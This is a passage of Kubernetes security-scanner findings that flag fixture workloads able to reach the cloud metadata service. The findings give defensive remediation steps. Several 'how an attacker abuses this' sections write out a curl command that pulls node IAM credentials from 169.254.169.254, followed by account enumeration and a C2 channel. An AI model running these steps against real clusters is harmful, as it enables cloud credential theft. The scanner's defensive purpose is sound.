  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-orphan-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-orphan-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-orphan-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/lp-fixtures/lp-wildcard-app Workload 7.8
Workload Deployment/lp-fixtures/lp-wildcard-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-wildcard-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-wildcard-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-wildcard-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-wildcard-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-wildcard-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/netpol-imds/imds-allow-app Workload 7.8
Workload Deployment/netpol-imds/imds-allow-app has an egress policy whose ipBlock: 0.0.0.0/0 admits cloud IMDS (169.254.169.254)
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-allow-app is selected by NetworkPolicy netpol-imds/allow-everywhere, which contains an egress to: peer with ipBlock.cidr: 0.0.0.0/0. That CIDR includes 169.254.169.254 and the policy's except: list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.

This is the most common foot-gun in egress policies. Operators often add ipBlock: 0.0.0.0/0 (or 169.254.0.0/16, the full link-local range) to allow "general internet" or "any AWS API" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an except: [169.254.169.254/32] carve-out (or to use a narrower allow ipBlock that does not include link-local at all).

On AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to 0.0.0.0/0 can still construct an IMDSv2 request when the hop-limit allows it.

Impact Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -> cloud-account compromise stays one curl away.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a pod selected by netpol-imds/allow-everywhere.spec.podSelector (the policy that admits IMDS).
  2. They reach IMDS at http://169.254.169.254/latest/meta-data/iam/security-credentials/ because the ipBlock: 0.0.0.0/0 allow rule includes the IMDS IP.
  3. They exfiltrate the worker node's IAM credentials and pivot into the cloud account.
  4. The NetworkPolicy gives operators a false sense of "egress is restricted" while the most dangerous destination is still reachable.
  5. On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in netpol-imds (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-allow-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
offender_cidr
"0.0.0.0/0"
offender_policy
"netpol-imds/allow-everywhere"
reason
"explicit-allow"
workload_kind
"Deployment"
workload_name
"imds-allow-app"
workload_namespace
"netpol-imds"
Show raw JSON
{
  "offender_cidr": "0.0.0.0/0",
  "offender_policy": "netpol-imds/allow-everywhere",
  "reason": "explicit-allow",
  "workload_kind": "Deployment",
  "workload_name": "imds-allow-app",
  "workload_namespace": "netpol-imds"
}
HIGH Deployment/netpol-imds/imds-open-app Workload 7.8
Workload Deployment/netpol-imds/imds-open-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/netpol-imds/imds-open-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app runs in namespace netpol-imds and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/netpol-imds/imds-open-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in netpol-imds (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-open-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imds-open-app"
workload_namespace
"netpol-imds"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imds-open-app",
  "workload_namespace": "netpol-imds"
}
HIGH Deployment/psa-suppressed/psa-priv-app Workload 7.8
Workload Deployment/psa-suppressed/psa-priv-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Workload Deployment/psa-suppressed/psa-priv-app runs in namespace psa-suppressed and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/psa-suppressed/psa-priv-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in psa-suppressed (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec psa-priv-app -n psa-suppressed -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"psa-priv-app"
workload_namespace
"psa-suppressed"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "psa-priv-app",
  "workload_namespace": "psa-suppressed"
}
HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 7.8
Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app uses hostNetwork: true, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app runs in namespace psa-unlabeled-fixtures with spec.hostNetwork: true, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to 169.254.169.254 exactly as if it were running on the node directly.

hostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (node-exporter, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.

The NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop hostNetwork: true in favor of a host-network-less alternative.

Impact A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -> cloud-account compromise is a single curl, even when the namespace looks tightly locked down.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app (host-network pod, often a monitoring sidecar or CNI helper).
  2. They issue curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.
  3. They scrape the node IAM role's STS credentials and call aws sts get-caller-identity to enumerate reach.
  4. They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.
  5. The operator's NetworkPolicy is intact in kubectl get netpol and looks correct in dashboards, masking that this specific workload is exempt.
Remediation
NetworkPolicy cannot gate host-network pods. Drop hostNetwork: true if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.
  1. Audit why Deployment/psa-unlabeled-fixtures/psa-unlabeled-app needs hostNetwork: true. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.
  2. If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.
  3. If hostNetwork must stay, on AWS set the launch-template HttpPutResponseHopLimit = 1 for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).
  4. Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.
  5. Validate from inside the pod: kubectl exec psa-unlabeled-app -n psa-unlabeled-fixtures -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ must time out (it will succeed today).
Evidence
reason
"host-network"
workload_kind
"Deployment"
workload_name
"psa-unlabeled-app"
workload_namespace
"psa-unlabeled-fixtures"
Show raw JSON
{
  "reason": "host-network",
  "workload_kind": "Deployment",
  "workload_name": "psa-unlabeled-app",
  "workload_namespace": "psa-unlabeled-fixtures"
}
HIGH Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 7.8
Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app runs in namespace pv-hostpath-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/pv-hostpath-fixtures/pv-hostpath-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in pv-hostpath-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec pv-hostpath-app -n pv-hostpath-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"pv-hostpath-app"
workload_namespace
"pv-hostpath-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "pv-hostpath-app",
  "workload_namespace": "pv-hostpath-fixtures"
}
HIGH Deployment/rbac-fixtures/imp-app Workload 7.8
Workload Deployment/rbac-fixtures/imp-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/rbac-fixtures/imp-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Workload Deployment/rbac-fixtures/imp-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/rbac-fixtures/imp-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imp-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imp-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imp-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/rbac-fixtures/wildcard-app Workload 7.8
Workload Deployment/rbac-fixtures/wildcard-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Workload Deployment/rbac-fixtures/wildcard-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/rbac-fixtures/wildcard-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec wildcard-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"wildcard-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "wildcard-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/secrets-bundle/cross-ns-consumer Workload 7.8
Workload Deployment/secrets-bundle/cross-ns-consumer has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Workload Deployment/secrets-bundle/cross-ns-consumer runs in namespace secrets-bundle and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

